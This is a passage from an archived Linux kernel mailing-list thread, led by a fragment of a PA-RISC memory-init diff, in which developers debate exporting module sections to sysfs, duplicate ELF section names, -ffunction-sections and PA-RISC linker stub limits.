 		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
@@ -643,15 +611,7 @@ void __init mem_init(void)
 	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
 #endif
 
-	printk(KERN_INFO "Memory: %luk/%luk available (%dk kernel code, %dk reserved, %dk data, %dk init)\n",
-		nr_free_pages() << (PAGE_SHIFT-10),
-		num_physpages << (PAGE_SHIFT-10),
-		codesize >> 10,
-		reservedpages << (PAGE_SHIFT-10),
-		datasize >> 10,
-		initsize >> 10
-	);

From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philip Kranz <philip.kranz@googlemail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Sat, 6 Apr 2013 12:40:53 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20130406104053.GA24710@yoda.lan>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de> <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de> <87vc81lj7x.fsf@rustcorp.com.au> <1365156435.1970.31.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1365270350 10208 80.91.229.3 (6 Apr 2013 17:45:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Apr 2013 17:45:50 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Sebastian Wankerl <sisewank@cip.cs.fau.de>,
	linux-kernel@vger.kernel.org,
	Philip Kranz <philip.kranz@googlemail.com>,
	i4passt@lists.informatik.uni-erlangen.de,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 06 19:45:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOWTe-0001b9-1P
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Apr 2013 19:00:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751421Ab3DFKik (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Apr 2013 06:38:40 -0400
Original-Received: from mail-ee0-f54.google.com ([74.125.83.54]:39508 "EHLO
	mail-ee0-f54.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751129Ab3DFKij (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Apr 2013 06:38:39 -0400
Original-Received: by mail-ee0-f54.google.com with SMTP id e51so1630764eek.27
        for <multiple recipients>; Sat, 06 Apr 2013 03:38:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20120113;
        h=x-received:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=71r75b2mk/+P6tGK2s8exWcNto4xp/R5zhSkVQgKAbM=;
        b=IKkvBaxooG2xVkD7ovqZNtSscQDUjWPTHXuj0RN4Y0+fXbllgw81OhG48R0k8mgf0t
         rHyYM8FUi0X58CETq3qP2HFlLm/NloZ/wVZlR2VY+PKoQO/QMxX4NxyhMYdu9PJh6jT3
         65tcxDKwF6m6+k9DWF/eOM4/dgtzttnnJ664pyEIy0Y4TY7CcBkGRk+zef7QTRcoOd1W
         cWYLcEQqmmGESbbd2Zr5mpyaPQuakN3LCEx4GY1vnpecTjTjpbtrLNZ7fS9kLxcTEzpc
         YBoK55zdWS5wIKV5Vlp702Htj/R/XXYUn3O6eRiqChQMW2j6QMHT9qm9q6cqMVyC6ynR
         kFYw==
X-Received: by 10.14.202.71 with SMTP id c47mr17606454eeo.39.1365244718426;
        Sat, 06 Apr 2013 03:38:38 -0700 (PDT)
Original-Received: from hydra.lan (p54948062.dip0.t-ipconnect.de. [84.148.128.98])
        by mx.google.com with ESMTPS id bk42sm1975290eeb.3.2013.04.06.03.38.36
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Sat, 06 Apr 2013 03:38:37 -0700 (PDT)
Original-Received: from [192.168.1.20] (helo=yoda.lan)
	by hydra.lan with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.72)
	(envelope-from <philip@yoda.lan>)
	id 1UOQQK-0000nu-Os; Sat, 06 Apr 2013 12:32:40 +0200
Content-Disposition: inline
In-Reply-To: <1365156435.1970.31.camel@dabdike>
User-Agent: Mutt/1.5.14 (2007-03-31)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4882 gmane.linux.kernel:1470734
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4882>

Hello.

On Fri, Apr 05, 2013 at 12:07:15PM +0200, James Bottomley wrote:
> Just so you know: this isn't a parisc specific problem.  Gcc produces
> duplicate section names under various circumstances, but the one that
> bites us is -ffunction-sections.  Note that there are proposals to use
> -ffunction-sections on all architectures (so we can garbage collect
> unused functions) in which case you'll induce the bug identified in
> 35dead4235e2b67da7275b4122fed37099c2f462 on every architecture

I am not able to produce an object file with duplicate section names
using gcc on x86. Even with -ffunction-sections, every section gets a
unique name. Is this architecture-specific behaviour of gcc?

Greetings,
Philip

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Sat, 06 Apr 2013 15:22:05 +1030
Lines: 69
Approved: news@gmane.org
Message-ID: <87wqsgjm6i.fsf@rustcorp.com.au>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de> <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de> <87vc81lj7x.fsf@rustcorp.com.au> <1365156435.1970.31.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1365270474 12371 80.91.229.3 (6 Apr 2013 17:47:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Apr 2013 17:47:54 +0000 (UTC)
Cc: Sebastian Wankerl <sisewank@cip.cs.fau.de>,
	linux-kernel@vger.kernel.org,
	Philip Kranz <philip.kranz@googlemail.com>,
	i4passt@lists.informatik.uni-erlangen.de,
	linux-parisc@vger.kernel.org, <corbet@lwn.net> (Jonathan Corbet)
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Apr 06 19:47:42 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UOWSS-0001b9-1W
	for glk-linux-kernel-3@plane.gmane.org; Sat, 06 Apr 2013 18:59:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753587Ab3DFFSN (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 6 Apr 2013 01:18:13 -0400
Original-Received: from ozlabs.org ([203.10.76.45]:50775 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752166Ab3DFFSK (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sat, 6 Apr 2013 01:18:10 -0400
Original-Received: by ozlabs.org (Postfix, from userid 1011)
	id 64ADE2C0126; Sat,  6 Apr 2013 16:18:09 +1100 (EST)
In-Reply-To: <1365156435.1970.31.camel@dabdike>
User-Agent: Notmuch/0.14 (http://notmuchmail.org) Emacs/23.4.1 (i686-pc-linux-gnu)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1470739 gmane.linux.ports.parisc:4883
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1470739>

James Bottomley <James.Bottomley@HansenPartnership.com> writes:
> On Fri, 2013-04-05 at 14:30 +1030, Rusty Russell wrote:
>> Sebastian Wankerl <sisewank@cip.cs.fau.de> writes:
>> > On 04/04/13 03:00, Rusty Russell wrote:
>> >> Sebastian Wankerl <sisewank@cip.cs.fau.de> writes:
>> >>> Add non-zero module sections to sysfs on architectures unequal to PARISC.
>> >>> KGDB needs all module sections for proper module debugging. Therefore, commit 
>> >>> 35dead4235e2b67da7275b4122fed37099c2f462 is revoked except for PARISC
>> >>> architecture.
>
> Thanks for actually cc'ing us.
>
>> >> #ifdef CONFIG_PARISC in the middle of kernel/module.c is super-ugly, and
>> >> wrong.
>> >
>> > I don't see why this is wrong. It used to load all sections to sysfs
>> > until the patch mentioned. Actually, it is the PARISC build chain which
>> > is broken.
>> 
>> Exactly.  Don't workaround it here, revert it and put the
>> duplicate-section-name fixup in parisc where it belongs.
>> 
>> Assuming parisc still produces these dup sections: that patch is 4 years
>> old now.
>
> Just so you know: this isn't a parisc specific problem.  Gcc produces
> duplicate section names under various circumstances, but the one that
> bites us is -ffunction-sections.

*This* is a PA-RISC specific issue.  -ffunction-sections is a different
problem, which this hack wouldn't help.

> Note that there are proposals to use
> -ffunction-sections on all architectures (so we can garbage collect
> unused functions) in which case you'll induce the bug identified in
> 35dead4235e2b67da7275b4122fed37099c2f462 on every architecture

Good point, though I note that we seem to have stalled on
-ffunction-sections.  (And I vaguely recall an issue with
-ffunction-sections and using ld -o which would fold duplicate named
sections back together reducing elimination opportunities).

> The problem is our assumption that section names be unique.  This
> assumption is wrong.  The ELF spec says (version 1.1 page 1-15): "An
> object file may have more than one section with the same name."  We need
> to fix the kernel not to rely on a bogus assumption ... but we had no
> idea how to do that in a way that preserved the backwards compatibility
> of sections subdirectory.
>
> I admit that 35dead4235e2b67da7275b4122fed37099c2f462 is a hack, but now
> the problem has got attention, can we fix it properly?

Yep.  The original patch didn't go through me, or we would have had this
discussion back then...

The use of section names in sysfs goes back to one Mr. Corbet.  Why did
he do it that way?  Because gdb's add-symbol-file makes the same
assumption.  So if we fixed the sysfs somehow, it still wouldn't be
useful, since there's no way to tell gdb :(

The real answer don't use -ffunction-sections on modules: probably not
as important as the rest of the kernel.  And the new shiny is
-flto anyway.

And that leaves us with a PA-RISC specific issue, for which we should
move the fix to PA-RISC.

Thoughts?
Rusty.

From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Sat, 06 Apr 2013 11:52:04 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <1365245524.4298.14.camel@dabdike.spectrum.wifi>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de>
	 <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de>
	 <87vc81lj7x.fsf@rustcorp.com.au> <1365156435.1970.31.camel@dabdike>
	 <87wqsgjm6i.fsf@rustcorp.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365271375 27149 80.91.229.3 (6 Apr 2013 18:02:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Apr 2013 18:02:55 +0000 (UTC)
Cc: Sebastian Wankerl <sisewank@cip.cs.fau.de>,
	linux-kernel@vger.kernel.org,
	Philip Kranz <philip.kranz@googlemail.com>,
	i4passt@lists.informatik.uni-erlangen.de,
	linux-parisc@vger.kernel.org, corbet@lwn.net
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 06 20:02:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOWTf-0001b9-HH
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Apr 2013 19:00:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932765Ab3DFKwP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Apr 2013 06:52:15 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55480 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932762Ab3DFKwP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Apr 2013 06:52:15 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 93C3F8EE0D6;
	Sat,  6 Apr 2013 03:52:14 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id BfmRqT0omF5g; Sat,  6 Apr 2013 03:52:14 -0700 (PDT)
Original-Received: from [10.1.4.122] (unknown [37.205.61.203])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C7D7E8EE0A3;
	Sat,  6 Apr 2013 03:52:10 -0700 (PDT)
In-Reply-To: <87wqsgjm6i.fsf@rustcorp.com.au>
X-Mailer: Evolution 3.6.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4884 gmane.linux.kernel:1470788
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4884>

On Sat, 2013-04-06 at 15:22 +1030, Rusty Russell wrote:
> > The problem is our assumption that section names be unique.  This
> > assumption is wrong.  The ELF spec says (version 1.1 page 1-15): "An
> > object file may have more than one section with the same name."  We need
> > to fix the kernel not to rely on a bogus assumption ... but we had no
> > idea how to do that in a way that preserved the backwards compatibility
> > of sections subdirectory.
> >
> > I admit that 35dead4235e2b67da7275b4122fed37099c2f462 is a hack, but now
> > the problem has got attention, can we fix it properly?
> 
> Yep.  The original patch didn't go through me, or we would have had this
> discussion back then...
>
> The use of section names in sysfs goes back to one Mr. Corbet.  Why did
> he do it that way?  Because gdb's add-symbol-file makes the same
> assumption.  So if we fixed the sysfs somehow, it still wouldn't be
> useful, since there's no way to tell gdb :(
> 
> The real answer don't use -ffunction-sections on modules: probably not
> as important as the rest of the kernel.  And the new shiny is
> -flto anyway.
> 
> And that leaves us with a PA-RISC specific issue, for which we should
> move the fix to PA-RISC.
> 
> Thoughts?

Well, we don't have much of a choice.  Our ELF stub jump on 32 bits is a
PCREL17.  That means once a module size is over 128k there's a chance we
might not be able to link it because the jump is too big for the
instruction.  IPV6 is one such big module today, but I'm sure there are
others.  The only way I know to fix this is to allow the linker to
insert stubs between functions, so we only fail at linking if a single
function is >128k big.  The way to do this is -ffunction-sections,
unless there's something else we could do (all we really need is a way
to ensure we can insert ELF stubs every 128k).

We're not the only architecture that has these problems: frv, metag and
score seem to as well.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Sat, 06 Apr 2013 18:22:21 -0700
Lines: 74
Approved: news@gmane.org
Message-ID: <ab03985d-3cce-4fdf-94c0-286b2d97c81d@email.android.com>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de> <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de> <87vc81lj7x.fsf@rustcorp.com.au> <1365156435.1970.31.camel@dabdike> <87wqsgjm6i.fsf@rustcorp.com.au> <1365245524.4298.14.camel@dabdike.spectrum.wifi> <BLU0-SMTP23C8D54498C7DFACDF083B97DB0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1365297770 2730 80.91.229.3 (7 Apr 2013 01:22:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Apr 2013 01:22:50 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Sebastian Wankerl <sisewank@cip.cs.fau.de>,
	linux-kernel@vger.kernel.org,
	Philip Kranz <philip.kranz@googlemail.com>,
	i4passt@lists.informatik.uni-erlangen.de,
	linux-parisc@vger.kernel.org, corbet@lwn.net
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 07 03:22:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOeJo-0003E2-0m
	for glpp-linux-parisc@plane.gmane.org; Sun, 07 Apr 2013 03:22:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1161236Ab3DGBWc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Apr 2013 21:22:32 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57664 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1161232Ab3DGBWc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Apr 2013 21:22:32 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 855E98EE0CF;
	Sat,  6 Apr 2013 18:22:31 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id b1N5pN4jXSQB; Sat,  6 Apr 2013 18:22:31 -0700 (PDT)
Original-Received: from [100.197.139.252] (mc92036d0.tmodns.net [208.54.32.201])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1991B8EE0A3;
	Sat,  6 Apr 2013 18:22:29 -0700 (PDT)
User-Agent: K-9 Mail for Android
In-Reply-To: <BLU0-SMTP23C8D54498C7DFACDF083B97DB0@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4885 gmane.linux.kernel:1470847
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4885>



John David Anglin <dave.anglin@bell.net> wrote:

>On 6-Apr-13, at 6:52 AM, James Bottomley wrote:
>
>> On Sat, 2013-04-06 at 15:22 +1030, Rusty Russell wrote:
>>>> The problem is our assumption that section names be unique.  This
>>>> assumption is wrong.  The ELF spec says (version 1.1 page 1-15):
>"An
>>>> object file may have more than one section with the same name."   
>>>> We need
>>>> to fix the kernel not to rely on a bogus assumption ... but we had 
>
>>>> no
>>>> idea how to do that in a way that preserved the backwards  
>>>> compatibility
>>>> of sections subdirectory.
>>>>
>>>> I admit that 35dead4235e2b67da7275b4122fed37099c2f462 is a hack,  
>>>> but now
>>>> the problem has got attention, can we fix it properly?
>>>
>>> Yep.  The original patch didn't go through me, or we would have had 
>
>>> this
>>> discussion back then...
>>>
>>> The use of section names in sysfs goes back to one Mr. Corbet.  Why 
>
>>> did
>>> he do it that way?  Because gdb's add-symbol-file makes the same
>>> assumption.  So if we fixed the sysfs somehow, it still wouldn't be
>>> useful, since there's no way to tell gdb :(
>>>
>>> The real answer don't use -ffunction-sections on modules: probably  
>>> not
>>> as important as the rest of the kernel.  And the new shiny is
>>> -flto anyway.
>>>
>>> And that leaves us with a PA-RISC specific issue, for which we
>should
>>> move the fix to PA-RISC.
>>>
>>> Thoughts?
>>
>> Well, we don't have much of a choice.  Our ELF stub jump on 32 bits  
>> is a
>> PCREL17.  That means once a module size is over 128k there's a  
>> chance we
>> might not be able to link it because the jump is too big for the
>> instruction.  IPV6 is one such big module today, but I'm sure there  
>> are
>> others.  The only way I know to fix this is to allow the linker to
>> insert stubs between functions, so we only fail at linking if a
>single
>> function is >128k big.  The way to do this is -ffunction-sections,
>> unless there's something else we could do (all we really need is a
>way
>> to ensure we can insert ELF stubs every 128k).
>
>There is now a config work around for this.  See:
>http://www.spinics.net/lists/linux-parisc/msg04521.html

The longcalls config option only works on pa2 doesn't it? Although we could just deprecate pa1.

James
-- 
Sent from my Android phone with K-9 Mail. Please excuse my brevity and top posting.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Sat, 6 Apr 2013 21:45:43 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <BLU0-SMTP12E3F71748F21FF468EF5D97C40@phx.gbl>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de> <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de> <87vc81lj7x.fsf@rustcorp.com.au> <1365156435.1970.31.camel@dabdike> <87wqsgjm6i.fsf@rustcorp.com.au> <1365245524.4298.14.camel@dabdike.spectrum.wifi> <BLU0-SMTP23C8D54498C7DFACDF083B97DB0@phx.gbl> <ab03985d-3cce-4fdf-94c0-286b2d97c81d@email.android.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365299188 12764 80.91.229.3 (7 Apr 2013 01:46:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Apr 2013 01:46:28 +0000 (UTC)
Cc: Rusty Russell <rusty@rustcorp.com.au>,
	Sebastian Wankerl <sisewank@cip.cs.fau.de>,
	linux-kernel@vger.kernel.org,
	Philip Kranz <philip.kranz@googlemail.com>,
	i4passt@lists.informatik.uni-erlangen.de,
	linux-parisc@vger.kernel.org, corbet@lwn.net
To: James Bottomley <James.bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 07 03:46:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOegf-00033z-5N
	for glpp-linux-parisc@plane.gmane.org; Sun, 07 Apr 2013 03:46:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1161236Ab3DGBqZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Apr 2013 21:46:25 -0400
Original-Received: from blu0-omc1-s32.blu0.hotmail.com ([65.55.116.43]:47230 "EHLO
	blu0-omc1-s32.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1161183Ab3DGBqZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Apr 2013 21:46:25 -0400
Original-Received: from BLU0-SMTP12 ([65.55.116.8]) by blu0-omc1-s32.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 6 Apr 2013 18:46:24 -0700
X-EIP: [bA4addESVgfbatQHhDR/JaCLdS0dK/UP]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.249]) by BLU0-SMTP12.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 6 Apr 2013 18:46:22 -0700
In-Reply-To: <ab03985d-3cce-4fdf-94c0-286b2d97c81d@email.android.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 07 Apr 2013 01:46:23.0208 (UTC) FILETIME=[B5843E80:01CE3331]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4886 gmane.linux.kernel:1470851
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4886>

On 6-Apr-13, at 9:22 PM, James Bottomley wrote:

>
>
> John David Anglin <dave.anglin@bell.net> wrote:
>
>> On 6-Apr-13, at 6:52 AM, James Bottomley wrote:
>>
>>> On Sat, 2013-04-06 at 15:22 +1030, Rusty Russell wrote:
>>>>> The problem is our assumption that section names be unique.  This
>>>>> assumption is wrong.  The ELF spec says (version 1.1 page 1-15):
>> "An
>>>>> object file may have more than one section with the same name."
>>>>> We need
>>>>> to fix the kernel not to rely on a bogus assumption ... but we had
>>
>>>>> no
>>>>> idea how to do that in a way that preserved the backwards
>>>>> compatibility
>>>>> of sections subdirectory.
>>>>>
>>>>> I admit that 35dead4235e2b67da7275b4122fed37099c2f462 is a hack,
>>>>> but now
>>>>> the problem has got attention, can we fix it properly?
>>>>
>>>> Yep.  The original patch didn't go through me, or we would have had
>>
>>>> this
>>>> discussion back then...
>>>>
>>>> The use of section names in sysfs goes back to one Mr. Corbet.  Why
>>
>>>> did
>>>> he do it that way?  Because gdb's add-symbol-file makes the same
>>>> assumption.  So if we fixed the sysfs somehow, it still wouldn't be
>>>> useful, since there's no way to tell gdb :(
>>>>
>>>> The real answer don't use -ffunction-sections on modules: probably
>>>> not
>>>> as important as the rest of the kernel.  And the new shiny is
>>>> -flto anyway.
>>>>
>>>> And that leaves us with a PA-RISC specific issue, for which we
>> should
>>>> move the fix to PA-RISC.
>>>>
>>>> Thoughts?
>>>
>>> Well, we don't have much of a choice.  Our ELF stub jump on 32 bits
>>> is a
>>> PCREL17.  That means once a module size is over 128k there's a
>>> chance we
>>> might not be able to link it because the jump is too big for the
>>> instruction.  IPV6 is one such big module today, but I'm sure there
>>> are
>>> others.  The only way I know to fix this is to allow the linker to
>>> insert stubs between functions, so we only fail at linking if a
>> single
>>> function is >128k big.  The way to do this is -ffunction-sections,
>>> unless there's something else we could do (all we really need is a
>> way
>>> to ensure we can insert ELF stubs every 128k).
>>
>> There is now a config work around for this.  See:
>> http://www.spinics.net/lists/linux-parisc/msg04521.html
>
> The longcalls config option only works on pa2 doesn't it? Although  
> we could just deprecate pa1.


No, it works on pa1.1 but the calls are more efficient on pa2.  On  
linux with a flat space, they should be
about the same in terms of instruction count.  On HP-UX, an additional  
space register load is needed.
For calls within the same space, the be instruction is pretty  
efficient but we never implemented linker
support for it in binutils.  If I recall correctly, it works if the  
call is local to a module but not for global calls.
It does work in HP-UX.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Sun, 7 Apr 2013 12:00:50 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <CAKgNAkgODPSWSeA8ZymiAjFBqSAZQMtQe9GW84Y6QHdFEc9S-w@mail.gmail.com>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com>
